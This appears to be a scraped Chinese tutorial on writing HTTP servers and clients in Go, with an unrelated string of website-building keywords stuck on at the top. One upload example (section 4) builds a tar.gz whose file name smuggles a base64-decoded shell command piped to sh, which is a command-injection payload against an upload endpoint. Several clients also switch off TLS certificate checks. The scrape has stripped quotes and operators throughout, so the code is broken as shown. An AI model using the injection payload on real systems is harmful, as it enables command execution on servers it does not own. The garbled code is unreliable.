网站官网怎么做,唐山公司网站建设 中企动力唐山,微信公众号平台app,没有网站做分类信息群发一、概述 本文旨在学习记录下如何用go实现建立一个http服务器#xff0c;同时构造一个专用格式的http客户端。
二、代码实现
2.1 构造http服务端
1、http服务处理流程 基于HTTP构建的服务标准模型包括两个端#xff0c;客户端(Client)和服务端(Server)。HTTP 请求从客户端…一、概述 本文旨在学习记录下如何用go实现建立一个http服务器同时构造一个专用格式的http客户端。
二、代码实现
2.1 构造http服务端
1、http服务处理流程 基于HTTP构建的服务标准模型包括两个端客户端(Client)和服务端(Server)。HTTP 请求从客户端发出服务端接受到请求后进行处理然后将响应返回给客户端。所以http服务器的工作就在于如何接受来自客户端的请求并向客户端返回响应。
使用http.HandleFunc实现http服务返回hello world
package mainimport (fmtnet/http
)func HelloHandler(w http.ResponseWriter, r *http.Request) {fmt.Fprintf(w, Hello World)
}func main () {http.HandleFunc(/, HelloHandler)http.ListenAndServe(:8000, nil)
}
使用http.Handle实现http服务
package mainimport (fmtnet/http
)type HelloHandlerStruct struct {content string
}//必须实现此方法且名称为ServerHTTP
func (handler *HelloHandlerStruct) ServeHTTP(w http.ResponseWriter, r *http.Request) {fmt.Fprintf(w, handler.content)
}func main() {http.Handle(/, HelloHandlerStruct{content: Hello World})http.ListenAndServe(:8000, nil)
}
优雅的关闭http服务
package mainimport (contextfmtio/ioutillognet/httposos/signalsyscalltime
)type EchoHandler struct{}func (handler EchoHandler) ServeHTTP(writer http.ResponseWriter, request *http.Request) {// 设置响应头writer.Header().Add(X-Data, foo)// 设置相应的cookiehttp.SetCookie(writer, http.Cookie{Name: x-cookie,Value: bar,MaxAge: 86400,Secure: true,})//设置响应状态码为200writer.WriteHeader(200)// 设置响应体打印网络请求信息fmt.Fprintln(writer, Network )fmt.Fprintln(writer, Remote Address:, request.RemoteAddr)fmt.Fprintln(writer)// 设置响应体打印请求方法 url host 协议信息fmt.Fprintln(writer, Request Line )fmt.Fprintln(writer, Method: , request.Method)fmt.Fprintln(writer, URL: , request.URL)fmt.Fprintln(writer, Host: , request.Host)//fmt.Fprintln(writer, URI: , request.RequestURI)fmt.Fprintf(writer, Protocol: %v major%v minor%v\n, request.Proto,request.ProtoMajor, request.ProtoMinor)fmt.Fprintln(writer)// 设置输出请求的请求头fmt.Fprintln(writer, Header )for k, v : range request.Header {fmt.Fprintf(writer, %v: %v\n, k, v)}fmt.Fprintln(writer)// 设置输出请求的bodybody, err : ioutil.ReadAll(request.Body)if err nil len(body) 0 {fmt.Fprintln(writer, Raw Body )fmt.Fprintln(writer, string(body))}
}func main() {// 创建系统信号接收器done : make(chan os.Signal)signal.Notify(done, os.Interrupt, syscall.SIGINT, syscall.SIGTERM)// 创建 HTTP 服务器server : http.Server{Addr: :8000,Handler: EchoHandler{},}// 启动 HTTP 服务器go func() {log.Println(Server starting...)if err : server.ListenAndServe(); err ! nil err ! http.ErrServerClosed {log.Fatalf(ListenAndServe: %v, err)}}()// 监听系统信号并执行关闭操作-donelog.Println(Server shutting down...)// 创建一个超时上下文确保关闭操作不会无限期等待ctx, cancel : context.WithTimeout(context.Background(), 5*time.Second)defer cancel()if err : server.Shutdown(ctx); err ! nil {log.Fatal(Shutdown server:, err)}log.Println(Server gracefully stopped)
}2.2 构建http客户端
1、基本介绍及使用
net/http 包提供了最简洁的 HTTP 客户端实现无需借助第三方网络通信库比如 libcurl就可以直接使用最常见的 GET 和 POST 方式发起 HTTP 请求。 func (c *Client) Get(url string) (r *Response, err error) func (c *Client) Post(url string, bodyType string, body io.Reader) (r *Response, err error) func (c *Client) PostForm(url string, data url.Values) (r *Response, err error) func (c *Client) Head(url string) (r *Response, err error) func (c *Client) Do(req *Request) (resp *Response, err error) 基本的代码实现 package mainimport (bytesfmtio/ioutilnet/http
)func main() {// 目标 URLbaseUrl : http://localhost// 执行 GET 请求doGet(baseUrl /gettest)// 执行 POST 请求doPost(baseUrl /posttest)// 执行 POST Form 请求doPostForm(baseUrl /postform)
}func doGet(url string) {response, err : http.Get(url)if err ! nil {fmt.Println(GET request failed:, err)return}defer response.Body.Close()body, err : ioutil.ReadAll(response.Body)if err ! nil {fmt.Println(Error reading response:, err)return}fmt.Println(GET Response:)fmt.Println(string(body))
}func doPost(url string) {// 准备 POST 请求的 JSON 数据jsonPayload : []byte({key: value})response, err : http.Post(url, application/json, bytes.NewBuffer(jsonPayload))if err ! nil {fmt.Println(POST request failed:, err)return}defer response.Body.Close()body, err : ioutil.ReadAll(response.Body)if err ! nil {fmt.Println(Error reading response:, err)return}fmt.Println(POST Response:)fmt.Println(string(body))
}func doPostForm(url string) {// 准备 POST Form 数据data : url.Values{}data.Add(name, Alice)data.Add(age, 30)response, err : http.PostForm(url, data)if err ! nil {fmt.Println(POST Form request failed:, err)return}defer response.Body.Close()body, err : ioutil.ReadAll(response.Body)if err ! nil {fmt.Println(Error reading response:, err)return}fmt.Println(POST Form Response:)fmt.Println(string(body))
}2、自定义请求头以及绕过https验证
package mainimport (fmtnet/httpnet/urlstrings
)func main() {// 自定义请求头headers : map[string]string{User-Agent: Your Custom User-Agent,Host: example.com, // 自定义 Host}// 目标 URLtargetURL : https://example.com // 替换为你的目标 URL// 创建自定义 Transporttr : http.Transport{TLSClientConfig: {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证TLSHandshakeTimeout: 5, // 超时时间秒DisableKeepAlives: true, // 禁用连接复用IdleConnTimeout: 30, // 空闲连接超时时间秒MaxIdleConnsPerHost: 2, // 每个主机的最大空闲连接数ResponseHeaderTimeout: 5, // 响应头超时时间秒}// 创建自定义客户端client : http.Client{Transport: tr,}// 发送 GET 请求response, err : client.Get(targetURL)if err ! nil {fmt.Println(GET request failed:, err)return}defer response.Body.Close()// 读取响应内容body : make([]byte, 1024)n, err : response.Body.Read(body)if err ! nil {fmt.Println(Error reading response:, err)return}// 输出响应内容fmt.Println(Response:)fmt.Println(string(body[:n]))
}3、实现登录后会话保持以及自定义请求头
package mainimport (fmtnet/httpnet/urlstrings
)func main() {// 自定义请求头headers : map[string]string{User-Agent: Your Custom User-Agent,Host: example.com, // 自定义 Host}// 目标 URLbaseURL : https://example.com // 替换为你的目标 URLloginURL : baseURL /login // 登录 URLsecuredURL : baseURL /secured-resource // 需要 Token 的 URL// 准备登录请求的数据loginData : url.Values{user: {admin},pass: {123456},}// 创建自定义 Transporttr : http.Transport{TLSClientConfig: {InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证TLSHandshakeTimeout: 5, // 超时时间秒DisableKeepAlives: true, // 禁用连接复用IdleConnTimeout: 30, // 空闲连接超时时间秒MaxIdleConnsPerHost: 2, // 每个主机的最大空闲连接数ResponseHeaderTimeout: 5, // 响应头超时时间秒}// 创建自定义客户端client : http.Client{Transport: tr,}// 发送登录请求loginRequest, err : http.NewRequest(POST, loginURL, strings.NewReader(loginData.Encode()))if err ! nil {fmt.Println(Error creating login request:, err)return}// 设置登录请求的头部和内容类型loginRequest.Header.Set(Content-Type, application/x-www-form-urlencoded)for key, value : range headers {loginRequest.Header.Set(key, value)}loginResponse, err : client.Do(loginRequest)if err ! nil {fmt.Println(Login request failed:, err)return}defer loginResponse.Body.Close()// 获取登录后的 Tokenvar token stringfor _, cookie : range loginResponse.Cookies() {if cookie.Name token {token cookie.Valuebreak}}if token {fmt.Println(Login failed. No token received.)return}fmt.Println(Login successful. Token:, token)// 在后续请求中添加 Token 到请求头securedRequest, err : http.NewRequest(GET, securedURL, nil)if err ! nil {fmt.Println(Error creating secured request:, err)return}securedRequest.Header.Set(Authorization, Bearer token) // 添加 Token 到请求头for key, value : range headers {securedRequest.Header.Set(key, value)}securedResponse, err : client.Do(securedRequest)if err ! nil {fmt.Println(Secured request failed:, err)return}defer securedResponse.Body.Close()// 读取并输出响应内容responseBody, err : ioutil.ReadAll(securedResponse.Body)if err ! nil {fmt.Println(Error reading response body:, err)return}fmt.Println(Secured resource response:)fmt.Println(string(responseBody))
}4、构造一个带特殊字符的压缩包并且通过接口上传
package mainimport (archive/tarbytescompress/gzipcrypto/tlsfmtioio/ioutilmime/multipartnet/httpos
)func main() {// 压缩文件内容tarContent : generateTarGzContent(11.jpg;echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh)// 发送 HTTP POST 请求url : https://example.com/upload // 替换为你的目标 URLuploadTarGz(url, tarContent)
}func generateTarGzContent(filename string) []byte {var buf bytes.Buffergw : gzip.NewWriter(buf)tw : tar.NewWriter(gw)// 添加文件到 tar 压缩包fileContent : []byte(This is the content of 11.jpg;echo cHdkID4gL3RtcC9zdWNjZXNz|base64 -d|sh)header : tar.Header{Name: filename,Size: int64(len(fileContent)),}if err : tw.WriteHeader(header); err ! nil {fmt.Println(写入 tar 头部失败:, err)os.Exit(1)}if _, err : tw.Write(fileContent); err ! nil {fmt.Println(写入文件内容失败:, err)os.Exit(1)}// 关闭 tar 和 gzip 缓冲区if err : tw.Close(); err ! nil {fmt.Println(关闭 tar 失败:, err)os.Exit(1)}if err : gw.Close(); err ! nil {fmt.Println(关闭 gzip 失败:, err)os.Exit(1)}return buf.Bytes()
}func uploadTarGz(url string, tarContent []byte) {// 创建一个 Buffer用于构建 multipart/form-data 请求体var requestBody bytes.Bufferwriter : multipart.NewWriter(requestBody)// 写入 tar.gz 文件part, err : writer.CreateFormFile(file, test.tar.gz)if err ! nil {fmt.Println(创建表单文件失败:, err)os.Exit(1)}if _, err : io.Copy(part, bytes.NewReader(tarContent)); err ! nil {fmt.Println(写入文件内容失败:, err)os.Exit(1)}// 关闭 multipart writerwriter.Close()// 创建 HTTP 请求req, err : http.NewRequest(POST, url, requestBody)if err ! nil {fmt.Println(创建请求失败:, err)os.Exit(1)}req.Header.Set(Content-Type, writer.FormDataContentType())// 创建一个自定义的 Transport用于跳过 HTTPS 证书验证tr : http.Transport{TLSClientConfig: tls.Config{InsecureSkipVerify: true},}// 使用自定义 Transport 发起请求client : http.Client{Transport: tr}response, err : client.Do(req)if err ! nil {fmt.Println(请求失败:, err)os.Exit(1)}defer response.Body.Close()// 读取响应内容responseBody, err : ioutil.ReadAll(response.Body)if err ! nil {fmt.Println(读取响应内容失败:, err)os.Exit(1)}fmt.Println(响应内容:)fmt.Println(string(responseBody))
}5、设置http代理
package mainimport (fmtnet/httpnet/urlos
)func main() {// 创建 HTTP 客户端并设置代理proxyURL, err : url.Parse(http://127.0.0.1:8080) // 替换为您的代理服务器地址if err ! nil {fmt.Println(解析代理地址失败:, err)os.Exit(1)}client : http.Client{Transport: http.Transport{Proxy: http.ProxyURL(proxyURL),},}// 创建 HTTP 请求url : https://example.com // 替换为您要请求的目标 URLrequest, err : http.NewRequest(GET, url, nil)if err ! nil {fmt.Println(创建请求失败:, err)os.Exit(1)}// 发送 HTTP 请求response, err : client.Do(request)if err ! nil {fmt.Println(请求失败:, err)os.Exit(1)}defer response.Body.Close()// 读取响应内容responseBody : make([]byte, 0)buffer : make([]byte, 1024)for {n, err : response.Body.Read(buffer)if n 0 {responseBody append(responseBody, buffer[:n]...)}if err ! nil {break}}fmt.Println(响应内容:)fmt.Println(string(responseBody))
}6、综合实践
// 生成jwt token
func CreateJWT(claim jwt.Claims) (string, error) {//读取 RSA私钥文件privateKeyBytes, err : ioutil.ReadFile(privateKeyPath)if err ! nil {return , err}//解析RSA私钥privateKey, err : jwt.ParseRSAPrivateKeyFromPEM(privateKeyBytes)if err ! nil {return , err}//创建jwttoken : jwt.NewWithClaims(jwt.SigningMethodRS256, claim)//使用私钥进行签名tokenString, err : token.SignedString(privateKey)return tokenString, nil
}// 验证token有效性主要为想做成直接用解析提供的token并从中获取想要的参数避免传入过多参数暂时未用上
func ParseToken(tokenStr string) (interface{}, error) {//读取RSA公钥文件publicKeyBytes, err : ioutil.ReadFile(publicKeyPath)if err ! nil {return , nil}//解析RSA 公钥publicKey, err : jwt.ParseRSAPublicKeyFromPEM(publicKeyBytes)if err ! nil {return , err}//解析tokentoken, err : jwt.Parse(tokenStr, func(token *jwt.Token) (interface{}, error) {if token.Method ! jwt.SigningMethodRS256 {return nil, fmt.Errorf(加密方法有误非rsa256而是%v, token.Header[alg])}return publicKey, nil})//检查解析是否成功if err ! nil {return nil, err}//验证token是否有效if !token.Valid {return nil, fmt.Errorf(无效token)} else if claims, ok : token.Claims.(jwt.MapClaims); ok {//通过key获取具体的Claims值fmt.Println(touken有效正在提取其中的Claims。。。。)return claims, nil} else {return nil, fmt.Errorf(token有效但是无法提取Claims)}}func GetCookie(token, url string) (string, error) {//自定义请求头headers : map[string]string{token: token, //利用生成的tokenUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36,Accept: application/json, text/plain, */*,Accept-Encoding: gzip, deflate,Content-Type: application/json,Accept-Language: zh-CN,zh;q0.9,}//fmt.Println(\nurl 为, baseurl)//创建代理/* proxyURL, err : url.Parse(http://127.0.0.1:8080) //设置代理地址if err ! nil {fmt.Println(解析代理地址失败, err)os.Exit(1)} */// 创建自定义 Transporttr : http.Transport{TLSClientConfig: tls.Config{InsecureSkipVerify: true}, // 跳过 SSL/TLS 证书验证//TLSHandshakeTimeout: 10, // 超时时间秒DisableKeepAlives: true, // 禁用连接复用IdleConnTimeout: 30, // 空闲连接超时时间秒MaxIdleConnsPerHost: 20, // 每个主机的最大空闲连接数//ResponseHeaderTimeout: 10, // 响应头超时时间秒//Proxy: http.ProxyURL(proxyURL), //设置代理服务器}//创建自定义客户端client : http.Client{Transport: tr,Timeout: time.Second * 10, //设置请求的超时时间}//创建JSON请求体requestBody : map[string]interface{}{username: 123456,password: 1,}//将请求体编码为 JSON格式jsonData, err : json.Marshal(requestBody)if err ! nil {fmt.Println(JSON 编码错误, err)return , err}//创建post请求request, err : http.NewRequest(POST, url, bytes.NewBuffer(jsonData))if err ! nil {fmt.Println(创建请求错误, err)return , err}//设置请求头for key, value : range headers {request.Header.Set(key, value)}//发送POST请求response, err : client.Do(request)if err ! nil {fmt.Println(\n请求错误:, err)return , err}defer response.Body.Close()/* // 读取响应内容var responseStr stringbuf : new(bytes.Buffer)_, err buf.ReadFrom(response.Body)if err ! nil {return , err}responseStr buf.String()// 检查响应状态码if response.StatusCode ! http.StatusOK {return , fmt.Errorf(响应状态码为 %d, response.StatusCode)}return responseStr, nil *///处理响应:仅针对返回body为json格式数据var responseBody map[string]interface{}decoder : json.NewDecoder(response.Body)if err : decoder.Decode(responseBody); err ! nil {fmt.Println(响应解析错误, err)return , err}//输出响应fmt.Println(响应状态码, response.Status)fmt.Println(响应数据ret, responseBody[ret])var retflag float64retflag 1if responseBody[ret].(float64) retflag {setCookieHeaders : response.Header[Set-Cookie]return setCookieHeaders[0], nil} else {return , fmt.Errorf(错误信息%s, responseBody[error])}